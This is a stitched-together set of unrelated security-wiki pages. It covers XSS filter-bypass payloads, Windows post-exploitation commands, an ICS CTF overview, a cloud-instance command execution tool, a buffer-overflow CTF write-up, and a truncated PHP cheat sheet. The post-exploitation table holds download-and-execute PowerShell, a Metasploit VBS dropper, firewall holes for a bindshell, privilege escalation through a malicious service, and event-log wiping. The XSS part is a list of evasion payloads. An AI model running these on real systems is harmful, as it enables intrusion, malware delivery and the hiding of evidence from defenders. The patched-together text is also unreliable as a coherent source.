过滤空格,用 / 代替空格 ```js <img/src="x"/onerror=alert("xss");> ``` #### 过滤关键字,大小写绕过 ```html <ImG sRc=x onerRor=alert("xss");> <scRiPt>alert(1);</scrIPt> ``` #### 不闭合 ```js <svg onload="alert(1)" ``` #### 拼接 ```js <details open ontoggle=top['al'%2B'ert'](1) > ``` #### 双写关键字 有些 waf 可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过 ```js <imimgg srsrcc=x onerror=alert("xss");> ``` #### 替换绕过 过滤 eval 用 Function 代替 ``` ❌ eval(alert('xss')) ✔ Function(alert('xss')) ``` 过滤 ('') 用 `` 代替绕过 ``` ❌ alert('xss') ✔ alert`xss` ``` 过滤 alert 用 prompt,confirm,top['alert'](1) 代替绕过 过滤空格 用 %0a(换行符),%0d(回车符),/**/ 代替绕过 小写转大写情况下 字符 ſ 大写后为 S(ſ 不等于 s) #### 利用 atob 绕过 ``` ❌ (alert('xss')) ✔ atob("YWxlcnQoInhzcyIp") ``` #### 利用 eval ```js <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> ``` #### 利用 top ```js <script>top["al"+"ert"](`xss`);</script> ``` #### %00截断绕过 ```js <a href=javascr%00ipt:alert(1)>xss</a> ``` #### 其它字符混淆 有的 waf 可能是用正则表达式去检测是否有 xss 攻击,如果我们能 fuzz 出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了,举几个简单的例子 可利用注释、标签的优先级等 ```js <<script>alert("xss");//<</script> <title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为 title 标签的优先级比 img 的高,所以会先闭合 title,从而导致前面的 img 标签无效 <SCRIPT>var a="\\";alert("xss");//";</SCRIPT> ``` #### 通过编码绕过 ```js 实体编码 javascrip&#x74;:alert(1) 十六进制 javascrip&#116;:alert(1) 十进制 Unicode编码绕过 <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> url编码绕过 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> Ascii码绕过 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> hex绕过 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> 八进制 <img src=x onerror=alert('\170\163\163')> base64绕过 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> ``` #### 过滤双引号,单引号 ```js 1.如果是html标签中,我们可以不用引号.如果是在js中,我们可以用反引号代替单双引号 <img src="x" onerror=alert(`xss`);> 2.使用编码绕过,具体看上面我列举的例子,我就不多赘述了 ``` #### 过滤括号 ```js 当括号被过滤的时候可以使用throw来绕过 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> ``` #### 过滤url地址 ```js // 使用url编码 <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> // 使用IP // 1.十进制IP <img src="x" onerror=document.location=`http://2130706433/`> // 2.八进制IP <img src="x" onerror=document.location=`http://0177.0.0.01/`> // 3.hex <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`> // 4.html标签中用//可以代替http:// <img src="x" onerror=document.location=`//www.baidu.com`> // 5.使用\\,但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议 // 6.使用中文逗号代替英文逗号,如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号 <img src="x" onerror="document.location=`http://www.baidu.com`">//会自动跳转到百度 ``` #### javascript 伪协议绕过 无法闭合双引号的情况下,就无法使用 onclick 等事件,只能伪协议绕过,或者调用外部 js ```js 注释符 // 单行注释 <!-- --!> 注释多行内容 <!-- --> 注释多行内容 <-- --> 注释多行内容 <-- --!> 注释多行内容 --> 单行注释后面内容 /* */ 多行注释 有时还可以利用浏览器的容错性,不需要注释 ``` ```js 闭合标签空格绕过 </style ><script>alert(1)</script> ``` ``` @ 符号绕过 url 限制 例如:https://www.segmentfault.com@xss.haozi.me/j.js 其实访问的是 @ 后面的内容 ``` ``` ") 逃逸函数后接分号 例:");alert(1)// ``` ``` 绕过转义限制 例: \") alert(1) // ``` #### 输入会被大写化 先把纯文本字符转换为 HTML 实体字符, 然后对其进行 URL 编码, 最后用 SVG 标记的 onload 参数输出 ```html <svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B> ``` #### U+2029 XSS 段落分隔符,即 U+2029,是用于字符分隔的 Unicode 值,但它是一个在网络上不常使用的字符。 ```js #!@*%
alert(1) ```
sec-knowleage
# Hello World! ## [Flag0](./flag0) -- Found - What does the application do? - Where does your input go? - Look for interesting functions
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # Post Exploitation - Windows Post exploitation is a critical component in any penetration test. This is where you differentiate yourself from the average, run-of-the-mill hacker and actually provide valuable information and intelligence from your penetration test. Post exploitation targets specific systems, identifies critical infrastructure, and targets information or data that the company values most and that it has attempted to secure. When you exploit one system after another, you are try- ing to demonstrate attacks that would have the greatest business impact. When attacking systems in `post exploitation`, you should take the time to determine what the various systems do and their different user roles. For example, suppose you compromise a domain infrastructure system and you’re running as an enterprise administrator or have domain administrative-level rights. You might be king of the domain, but what about the systems that communicate with Active Directory? What about the main financial applica- tion that is used to pay employees? Could you compromise that system, and then, on the next pay cycle, have it route all the money out of the company to an offshore account? How about the target’s intellectual property? Suppose, for example, that your client is a large software development shop that ships custom-coded applications to customers for use in manufac- turing environments. Can you backdoor their source code and essentially compromise all of their customers? What would that do to harm their brand credibility? `Post exploitation` is one of those tricky scenarios in which you must take the time to learn what information is available to you and then use that infor- mation to your benefit. An attacker would generally spend a significant amount of time in a compromised system doing the same. Think like a malicious attacker—be creative, adapt quickly, and rely on your wits instead of auto- mated tools. ## Remote Management |**Command**|**Description**| |:----------|:--------------| |NET USE \\\\`ip`\ipc$ `password` /user:`username`|Make a ipc connection with remote service, if successful, you can try to view, query, .... with the right privilege.| |NET USE z: \\\\`ip`\\`share`$ `password` /user:`username`|Map remote share as local drive z:| |systeminfo /S `ComputerName` /U `username` /P `password`|This tool displays operating system configuration information for a local or remote machine, including service pack levels.| |tasklist /S `SERVER` /U `DOMAIN\username` /P `password`|displays a list of currently running processes on remote machine.| |taskkill /S `SERVER` /U `DOMAIN\username` /P `password`|kill an process in remote server.| |powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))"|Execute code from remote server.| |powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"|Download a file from remote server.| |powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File test.ps1|Execute `test.ps1` on localhost| |bitsadmin /transfer `systemrepair` /download /priority `normal` http://path/to/file c:\path\local\file|Create a job called `systemrepair` to download a file from remote server.| |echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > wget.vbs<BR><BR>`cscript.exe wget.vbs http://ip:port/filename C:\Windows\temp\filename`|Download File with vbs| |echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs<BR><BR>`cscript.exe %TEMP%\msf.vbs http://ip:port/vbspayload.txt`|Dwonload and exec metasploit vbs payload.| |PsExec.exe \\\\192.168.206.145 -accepteula -u `username` -p `password` `cmd.exe /c ver`|Run remote windows commands, and return results| |wmic /node:`SERVER` /user:`DOMAIN\username` /password:`password` process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"|Create a new process on remote server. No command results return.| ## PROXY |**Command**|**Description**| |:----------|:--------------| |NETSH INTERFACE portproxy add v4tov4 listenport=`LPORT` connectaddress=`RHOST` connectport=`RPORT` [listenaddress=`LHOST` protocol=tcp]|Transmit data from localport to remoteaddr:remoteport.| |set http_proxy=http://your_proxy:your_port<BR>set http_proxy=http://username:password@your_proxy:your_port<BR>set https_proxy=https://your_proxy:your_port<BR>set https_proxy=https://username:password@your_proxy:your_port|Use proxy in command prompt| ## Whitelist |**Command**|**Description**| |:----------|:--------------| |NETSH FIREWALL show all|Show Allowed programs configuration for Domain/Standard profile.| |NETSH FIREWALL add allowedprogram `C:\Windows\system32\cmd.exe` `cmd` enable|Add a program into firewall allowedprogram Whitelist.| |NETSH FIREWALL delete allowedprogram `cmd`|delete a item from firewall allowedprogram Whitelist, you can also use a path to delete it.| |NETSH FIREWALL show all|Show Port configuration for Domain/Standard.| |NETSH FIREWALL add portopening tcp `4444` `bindshell` enable all|add tcp port 4444 into port Whitelist.| ## Service |**Command**|**Description**| |:----------|:--------------| |sc create `servicename` type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start servicename|Create malicious services, and gain local system privilege.| ## Scheduler |**Command**|**Description**| |:----------|:--------------| |net use \\\\`IP`\ipc$ `password` /user:`username`<BR>at \\\\`ComputerName` `time` "command"|The AT command schedules commands and programs to run on a computer at a specified time and date. `net time [/domain]` to show current time.| ## Logs |**Command**|**Description**| |:----------|:--------------| |del %WINDIR%\*.log /a /s /q /f|Deletes all *.log files from the %WINDIR% directory.| |wevtutil el|Lists the different log files the system is keeping.| |for /f %a in ('wevtutil el') do @wevtutil cl "%a"|Clears the contents of a specific log.| |powershell.exe -ep bypass -w hidden -c Clear-Eventlog -Log Application, System, Security|Clear specific event logs| # Links 1. [**How to execute metasploit vbs payload in cmd.exe ?**](https://github.com/nixawk/pentest-wiki/blob/master/Post-Exploitation/Windows_ActiveDirectory/Execute_metasploit_vbs_payload_in_cmd_shell.md) 2. [**Hacking Windows Active Directory**]( https://github.com/nixawk/pentest-wiki/blob/master/Post-Exploitation/Windows_ActiveDirectory/Hacking_Windows_Active_Directory.md) 3. [**How to dump windows 2012 credentials ?**]( https://github.com/nixawk/pentest-wiki/blob/master/Post-Exploitation/Windows_ActiveDirectory/How-to-dump-windows2012-credentials.md) 4. [**How to use PowerSploit Invoke-Mimikatz to dump credentials ?**](https://github.com/nixawk/pentest-wiki/blob/master/Post-Exploitation/Windows_ActiveDirectory/PowerSploit_Invoke-Mimikatz_in_cmd.md) 5. [**How to use vssadmin ?**]( https://github.com/nixawk/pentest-wiki/blob/master/Post-Exploitation/Windows_ActiveDirectory/How-to-use-vssadmin.md)
sec-knowleage
### ICS_CTF 竞赛国内工控比赛考察点 采用CTF分类模型,总结分析当前工控ICS比赛中的关键点 |比赛类型|考察点|与CTF异同| |-------|------|-------| |内网渗透|Web 端渗透测试、CMS 系统、工控发布展示系统、数据库系统|与 Web 渗透相关 |逆向分析|固件分析、工控软件逆向|实际场景逆向| |工控协议|工控流量分析、Misc 类|Misc 流量分析,工控场景流量特征| |工控编程|PLC 编程、HMI 组态、RTU 编程等|工控实际组态软件使用,梯形图识别与分析| 根据漏洞类型其实还可以区分细化题目类型,包括常见的 Web 注入类、固件弱口令、后门程序、协议重放与逻辑问题、组态部署问题等常见的工控场景安全问题。 |比赛类型|漏洞类型| |-------|------| |内网渗透|Web 类(SQL、XSS、命令注入、敏感文件泄露 `.git/.idea/.project` 等、) |逆向分析|固件分析、工控软件逆向|实际软件、DLL、ELF、MIPS 逆向| |工控协议|工控流量分析、Misc 类|Misc 流量分析,工控场景流量特征| |工控编程|PLC 编程、HMI 组态|工控实际组态软件使用,梯形图识别与分析| 针对目前出现或曾经出现的 ICS CTF 题目类型,其实与 CTF 竞赛有许多重合点,因此不再此赘述,主要讨论下工控 CTF 中与 CTF 竞赛不太一致的地方。 ### ICS_CTF 竞赛Web渗透类(Web) 该节主要谈工控Web渗透的特点: - 与业务场景高度契合,例如工业控制中,Web端主要为显示当前使用场景中的控制参数、运行状态等信息,如果在内网中被中间人劫持,当HMI显示设备无法与PLC等实时运行设备同步时,系统会报警或出错。 - 一般采用通用技术展示Web界面,以windows操作系统为主要平台,包括WinCC、Windows Server、Windows 98/2000/XP等看似古老的系统为主。 - Web渗透的同时会保留多个端口,例如FTP、HTTPS、Telnet、SNMP、NTP等服务端口,在Web渗透无法打穿的同时可以试试其他端口。 - 工控由于一般处于内网环境,内网劫持往往比较有效,但是如果内网配置了静态 IP 或其他防护措施,ARP 欺骗方式等内网劫持方法无法起效。 - 敏感信息泄露,配置文件不完善是工控 Web 发布常见问题,不仅仅包括 `.git/.idea/.project` 等工程信息协议,还可能出现路径遍历、命令注入、弱口令等问题。 ### ICS_CTF 竞赛逆向分析(Reverse) 该节主要讨论工控逆向的特点: - 工控操作系统一般为RTOS(Real Time Operate System),例如vxworks、uc-os等实时操作系统,在逆向前需要对其架构和指令集需要比较熟悉,如果不懂请自行学习。 - 工控固件逆向常见的目标是工控工程加密算法、硬编码秘钥、硬编码后门等常见固件逆向漏洞,如果发现了堆栈溢出类漏洞,往往能够导致目标设备宕机(即DOS后果)。 - 工控固件往往存在加密和压缩情况,需要在第一步解压过程对其进行解压或解密,这部分依据具体厂商来定,不能一概而论。 - 工控固件存在逆向分析不出的情况 ### ICS_CTF 竞赛逆向分析题目示例 题目名称:tplink_tddp 从题目描述中,我们可以得知我们的关键分析对象时 tddp,然后题目附件是一个固件,利用 binwalk 解析,在 `usr/bin` 中找到 tddp,然后通过谷歌搜索 tddp 关键词可以发现有在 TP-Link 路由器中有该协议的漏洞,基于 UDP 运行于 1040 端口,发送数据的第 2 个字节(采用 tddp v1 协议)为 0x31(CMD_FTEST_CONFIG)时,会导致远程代码执行。参考链接:https://paper.seebug.org/879/ 。 将 tddp 拖入 IDA 搜索字符串 `CMD_FTEST_CONFIG` 可以找到会执行 `sub_A580` 函数 至此已经可以提交 flag,但也可以继续进行分析,通过 qemu 搭建 arm 环境运行文件系统进行动态调试。 ### ICS_CTF 竞赛工控协议(Protocol) 题目特点介绍: - 工控协议针对工控场景设计,具有简单、高效、低延时等特点,所以针对此类的攻击完全可以考虑采用重放、命令注入等简单攻击手段。 - 工控协议不仅仅采用公开协议、还包括众多的私有协议,这部分协议具体细节需要逆向或者采集数据来实现数据功能的还原。例如 Modbus、DNP3、Melsec-Q、S7、Ethernet/IP 等。 - 工控协议可能导致目标 PLC、DCS、RTU 等设备出现宕机、不可重启等问题,采用基于 Fuzz 的方法可以快速高效发现 PLC 宕机类漏洞。 - 工控协议中可能有众多针对 PLC 等设备的操作,用户需要区分哪些是合法请求、哪些是异常请求,这需要经验,需要研究推断当前流量的使用逻辑。这个场景很适合机器学习的条件,这可以考虑是个探索的方向。 - 针对工控场景的实际防御方案其实最好的还是旁路检测,通过分光将流量接入分析系统,在不影响正常业务使用的同时对目标系统进行安全监控。 ## ICS_CTF 竞赛工控编程和组态(Program) 工控编程和组态是工控系统运行的核心和重点,此类题目特点一般是: - 工控编程核心为明白工控业务逻辑,而工控编程遵循 IEC61131-3(工控史上首例实现 PLC、DCS、运动控制、 SCADA 等联合编程的标准——IEC61131-3),包括 5 种编程语言标准,3 种是图形化语言(梯形图、顺序功能图和功能块图),两种是文本化语言(指令表和结构文本)。 - 工控设备往往可以在线调试,从而可以控制某些输入输出端口,实现强制启停的功能,如果这些功能可以采用 Remote 方式重发,那攻击危害就更为严重。 - 工控设备的连接方式多样,一般采用串口,但是目前设备发展支持以太网、USB 接口等新的方式,如果网口不行试试串口、USB。 - 工控组态可以非常复杂,甚至连接成百上千个输入输出都有可能,组态中会由于添加了新的组件而更加麻烦,这时候要慢慢看,一点一点缕出来。 ### ICS_CTF 竞赛工控编程和组态题目示例 题目名字:PLC梯形图计算 这类题目主要考察做题者对于相应产品(PLC、RTU、上位机软件)的编程软件、编程语言及流程的熟悉程度,当拿到题目时需要有相应的支持软件可以打开题目。例如下图是一道西门子 PLC 的编程题目,flag 为梯形图的最终输出值,所以我们使用博图软件打开题目: 这类题目的做法一般有两种: 1. 题目代码模拟运行,然后直接查看相应位置的值,但是一般会遇到很多错误难以直接运行; 2. 直接读,对于熟悉梯形图的人来说非常简单。
sec-knowleage
--- title: 在实例上执行命令 --- ## 在阿里云上执行命令 ### 执行单行命令 在执行命令前,如果未指定具体的实例,则 CF 会提醒是否是选择全部实例还是某个实例。 使用 `-c` 参数执行单个命令 ```bash cf alibaba ecs exec -c whoami ``` 指定某个实例执行命令 ```bash cf alibaba ecs exec -c whoami -i i-abcdefghijklmn ``` ::: warning 注意 在 CF 中 Windows 系统默认会以 bat 脚本执行命令,如果想执行 PowerShell 下的命令,可以使用 `-s ps` 或者 `--scriptType ps` 参数。 ::: 执行 PowerShell 下的命令 ```bash cf alibaba ecs exec -c \$PSVersionTable -i i-abcdefghijklmn -s ps ``` CF 执行命令默认等待时间为 60 秒,如果命令需要较长的执行时间,可以使用 -t 命令指定最大等待时间。 ```bash cf alibaba ecs exec -c whoami -t 120 ``` ### 执行多行命令 使用 `-f` 参数执行文本文件里的命令,一行一个命令 ```bash cf alibaba ecs exec -f teamssix.txt ``` ## 在腾讯云上执行命令 ### 云服务器 执行单行命令 ```bash cf tencent cvm exec -c whoami ``` 执行多行命令 ```bash cf tencent cvm exec -f teamssix.txt ``` ### 轻量应用服务器 执行单行命令 ```bash cf tencent lh exec -c whoami ``` 执行多行命令 ```bash cf tencent lh exec -f teamssix.txt ``` ::: warning 注意 * 在阿里云下执行命令,目标租户可能会收到阿里云的云盾告警消息,所以此操作需谨慎。 * CF 获取命令结果的等待时间默认是 60 秒,如果命令执行需要较长的时间,则可以通过 `-t` 或者 `--timeOut` 参数指定最长的等待时间,避免因命令执行过久,超过 60 秒以至于 CF 自动退出的情况。 ::: <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年9月7日" } } </script>
sec-knowleage
# Faculta Necshevet Identifier Category: Reversing & Binary Exploitation ## Description > DuckyDebugDuck decided to continue development on his "Faculta Necshevet Identifier" from the initial challenge and finally finished the first version, he told us that if you're from a "Faculta Necshevet" then you'll get a flag! A binary file was attached. ## Solution Let's run the attached file: ```console root@kali:/media/sf_CTFs/technion/Faculta_Necshevet_Identifier# ./facultaNecshevetIdentifier My name is DuckyDebugDuck, what's yours? test Hi test, checking... You're not from a faculta necshevet, you won't get the flag ``` We must enter the correct name in order to be identified as worthy to get the flag. Let's check the decompilation with Ghidra: ```c undefined8 main(void) { undefined user_input [60]; int is_auth; is_auth = 0; printf("My name is DuckyDebugDuck, what\'s yours? "); __isoc99_scanf(&DAT_00102032,user_input); printf("Hi %s, checking...\n",user_input); if (is_auth == 0) { puts("You\'re not from a faculta necshevet, you won\'t get the flag"); } else { puts("YOU\'RE FROM A FACULTA NECHSEVET, here\'s the flag: ##############"); } return 0; } ``` We can see that the user input is read into a 60 byte buffer. However, the length of the input read from the user isn't limited to 60: ```assembly DAT_00102032 XREF[1]: main:001011b4(*) 00102032 25 ?? 25h % 00102033 73 ?? 73h s 00102034 00 ?? 00h ``` Therefore, we can enter a string of any length and override other stack members, such as `is_auth`. If we override `is_auth` with any value other than 0, we will get the flag. In order to override `is_auth`, we'll send a name of length 64 - 60 characters to fill up the `user_input` buffer and four more to reach `is_auth` and change its boolean value to "true": ```console root@kali:/media/sf_CTFs/technion/Faculta_Necshevet_Identifier# python -c "print('a'*64)" | nc ctf.cs.technion.ac.il 4005 My name is DuckyDebugDuck, what's yours? Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, checking... YOU'RE FROM A FACULTA NECHSEVET, here's the flag: cstechnion{kn0w_th3_l1m1ts_4nd_br34k_th3m} ```
sec-knowleage
--- title: PHP date: 2021-01-04 15:23:28 background: bg-[#7477a9] tags: - web categories: - Programming intro: | This [PHP](https://www.php.net/manual/en/) cheat sheet provides a reference for quickly looking up the correct syntax for the code you use most frequently. plugins: - copyCode --- Getting Started --------------- ### hello.php ```php <?php // begin with a PHP open tag. echo "Hello World\n"; print("Hello quickref.me"); ?> ``` PHP run command ```shell script $ php hello.php ``` ### Variables ```php $boolean1 = true; $boolean2 = True; $int = 12; $float = 3.1415926; unset($float); // Delete variable $str1 = "How are you?"; $str2 = 'Fine, thanks'; ``` See: [Types](#php-types) ### Strings ```php $url = "quickref.me"; echo "I'm learning PHP at $url"; // Concatenate strings echo "I'm learning PHP at " . $url; $hello = "Hello, "; $hello .= "World!"; echo $hello; # => Hello, World! ``` See: [Strings](#php-strings) ### Arrays ```php $num = [1, 3, 5, 7, 9]; $num[5] = 11; unset($num[2]); // Delete variable print_r($num); # => 1 3 7 9 11 echo count($num); # => 5 ``` See: [Arrays](#php-arrays) ### Operators ```php $x = 1; $y = 2; $sum = $x + $y; echo $sum; # => 3 ``` See: [Operators](#php-operators) ### Include {.row-span-3} #### vars.php ```php <?php // begin with a PHP open tag. $fruit = 'apple'; echo "I was imported"; return 'Anything you like.'; ?> ``` #### test.php ```php <?php include 'vars.php'; echo $fruit . "\n"; # => apple /* Same as include, cause an error if cannot be included*/ require 'vars.php'; // Also works include('vars.php'); require('vars.php'); // Include through HTTP include 'http://x.com/file.php'; // Include and the return statement $result = include 'vars.php'; echo $result; # => Anything you like. ?> ``` ### Functions ```php function add($num1, $num2 = 1) { return $num1 + $num2; } echo add(10); # => 11 echo add(10, 5); # => 15 ``` See: [Functions](#php-functions) ### Comments ```php # This is a one line shell-style comment // This is a one line c++ style comment /* This is a multi line comment yet another line of comment */ ``` ### Constants ```php const MY_CONST = "hello"; echo MY_CONST; # => hello # => MY_CONST is: hello echo 'MY_CONST is: ' . MY_CONST; ``` ### Classes ```php class Student { public function __construct($name) { $this->name = $name; } } $alex = new Student("Alex"); ``` See: [Classes](#php-classes) PHP Types --------------- ### Boolean {.row-span-2} ```php $boolean1 = true; $boolean2 = TRUE; $boolean3 = false; $boolean4 = FALSE; $boolean5 = (boolean) 1; # => true $boolean6 = (boolean) 0; # => false ``` Boolean are case-insensitive ### Integer {.row-span-2} ```php $int1 = 28; # => 28 $int2 = -32; # => -32 $int3 = 012; # => 10 (octal) $int4 = 0x0F; # => 15 (hex) $int5 = 0b101; # => 5 (binary) # => 2000100000 (decimal, PHP 7.4.0) $int6 = 2_000_100_000; ``` See also: [Integers](https://www.php.net/manual/en/language.types.integer.php) ### Strings ```php echo 'this is a simple string'; ``` See: [Strings](#php-strings) ### Arrays ```php $arr = array("hello", "world", "!"); ``` See: [Arrays](#php-arrays) ### Float (Double) ```php $float1 = 1.234; $float2 = 1.2e7; $float3 = 7E-10; $float4 = 1_234.567; // as of PHP 7.4.0 var_dump($float4); // float(1234.567) $float5 = 1 + "10.5"; # => 11.5 $float6 = 1 + "-1.3e3"; # => -1299 ``` ### Null ```php $a = null; $b = 'Hello php!'; echo $a ?? 'a is unset'; # => a is unset echo $b ?? 'b is unset'; # => Hello php $a = array(); $a == null # => true $a === null # => false is_null($a) # => false ``` ### Iterables ```php function bar(): iterable { return [1, 2, 3]; } function gen(): iterable { yield 1; yield 2; yield 3; } foreach (bar() as $value) { echo $value; # => 123 } ``` PHP Strings --------------- ### String ```php # => '$String' $sgl_quotes = '$String'; # => 'This is a $String.' $dbl_quotes = "This is a $sgl_quotes."; # => a tab character. $escaped = "a \t tab character."; # => a slash and a t: \t $unescaped = 'a slash and a t: \t'; ``` ### Multi-line ```php $str = "foo"; // Uninterpolated multi-liners $nowdoc = <<<'END' Multi line string $str END; // Will do string interpolation $heredoc = <<<END Multi line $str END; ``` ### Manipulation ```php $s = "Hello Phper"; echo strlen($s); # => 11 echo substr($s, 0, 3); # => Hel echo substr($s, 1); # => ello Phper echo substr($s, -4, 3);# => hpe echo strtoupper($s); # => HELLO PHPER echo strtolower($s); # => hello phper echo strpos($s, "l"); # => 2 var_dump(strpos($s, "L")); # => false ``` See: [String Functions](https://www.php.net/manual/en/ref.strings.php) PHP Arrays --------------- ### Defining {.row-span-2} ```php $a1 = ["hello", "world", "!"] $a2 = array("hello", "world", "!"); $a3 = explode(",", "apple,pear,peach"); ``` #### Mixed int and string keys ```php $array = array( "foo" => "bar", "bar" => "foo", 100 => -100, -100 => 100, ); var_dump($array); ``` #### Short array syntax ```php $array = [ "foo" => "bar", "bar" => "foo", ]; ``` ### Multi array ```php $multiArray = [ [1, 2, 3], [4, 5, 6], [7, 8, 9], ]; print_r($multiArray[0][0]) # => 1 print_r($multiArray[0][1]) # => 2 print_r($multiArray[0][2]) # => 3 ``` ### Multi type {.row-span-2} ```php $array = array( "foo" => "bar", 42 => 24, "multi" => array( "dim" => array( "a" => "foo" ) ) ); # => string(3) "bar" var_dump($array["foo"]); # => int(24) var_dump($array[42]); # => string(3) "foo" var_dump($array["multi"]["dim"]["a"]); ``` ### manipulation ```php $arr = array(5 => 1, 12 => 2); $arr[] = 56; // Append $arr["x"] = 42; // Add with key sort($arr); // Sort unset($arr[5]); // Remove unset($arr); // Remove all ``` See: [Array Functions](https://www.php.net/manual/en/ref.array.php) ### Indexing iteration ```php $array = array('a', 'b', 'c'); $count = count($array); for ($i = 0; $i < $count; $i++) { echo "i:{$i}, v:{$array[$i]}\n"; } ``` ### Value iteration ```php $colors = array('red', 'blue', 'green'); foreach ($colors as $color) { echo "Do you like $color?\n"; } ``` ### Key iteration ```php $arr = ["foo" => "bar", "bar" => "foo"]; foreach ( $arr as $key => $value ) { echo "key: " . $key . "\n"; echo "val: {$arr[$key]}\n"; } ``` ### Concatenate arrays ```php $a = [1, 2]; $b = [3, 4]; // PHP 7.4 later # => [1, 2, 3, 4] $result = [...$a, ...$b]; ``` ### Into functions ```php $array = [1, 2]; function foo(int $a, int $b) { echo $a; # => 1 echo $b; # => 2 } foo(...$array); ``` ### Splat Operator ```php function foo($first, ...$other) { var_dump($first); # => a var_dump($other); # => ['b', 'c'] } foo('a', 'b', 'c' /*, ...*/ ); // or function foo($first, string ...$other){} ``` PHP Operators {.cols-4} --------------- ### Arithmetic | - | - | |------|----------------| | `+` | Addition | | `-` | Subtraction | | `*` | Multiplication | | `/` | Division | | `%` | Modulo | | `**` | Exponentiation | ### Assignment | - | - | |----------|---------------------| | `a += b` | Same as `a = a + b` | | `a -= b` | Same as `a = a – b` | | `a *= b` | Same as `a = a * b` | | `a /= b` | Same as `a = a / b` | | `a %= b` | Same as `a = a % b` | ### Comparison {.row-span-2} | - | - | |-------|------------------------------| | `==` | Equal | | `===` | Identical | | `!=` | Not equal | | `<>` | Not equal | | `!==` | Not identical | | `<` | Less than | | `>` | Greater than | | `<=` | Less than or equal | | `>=` | Greater than or equal | | `<=>` | Less than/equal/greater than | ### Logical | - | - | |-------|--------------| | `and` | And | | `or` | Or | | `xor` | Exclusive or | | `!` | Not | | `&&` | And | | `||` | Or | ### Arithmetic {.col-span-2} ```php // Arithmetic $sum = 1 + 1; // 2 $difference = 2 - 1; // 1 $product = 2 * 2; // 4 $quotient = 2 / 1; // 2 // Shorthand arithmetic $num = 0; $num += 1; // Increment $num by 1 echo $num++; // Prints 1 (increments after evaluation) echo ++$num; // Prints 3 (increments before evaluation) $num /= $float; // Divide and assign the quotient to $num ``` ### Bitwise | - | - | |------|--------------------| | `&` | And | | `|` | Or (inclusive or) | | `^` | Xor (exclusive or) | | `~` | Not | | `<<` | Shift left | | `>>` | Shift right | PHP Conditionals --------------- ### If elseif else ```php $a = 10; $b = 20; if ($a > $b) { echo "a is bigger than b"; } elseif ($a == $b) { echo "a is equal to b"; } else { echo "a is smaller than b"; } ``` ### Switch ```php $x = 0; switch ($x) { case '0': print "it's zero"; break; case 'two': case 'three': // do something break; default: // do something } ``` ### Ternary operator ```php # => Does print (false ? 'Not' : 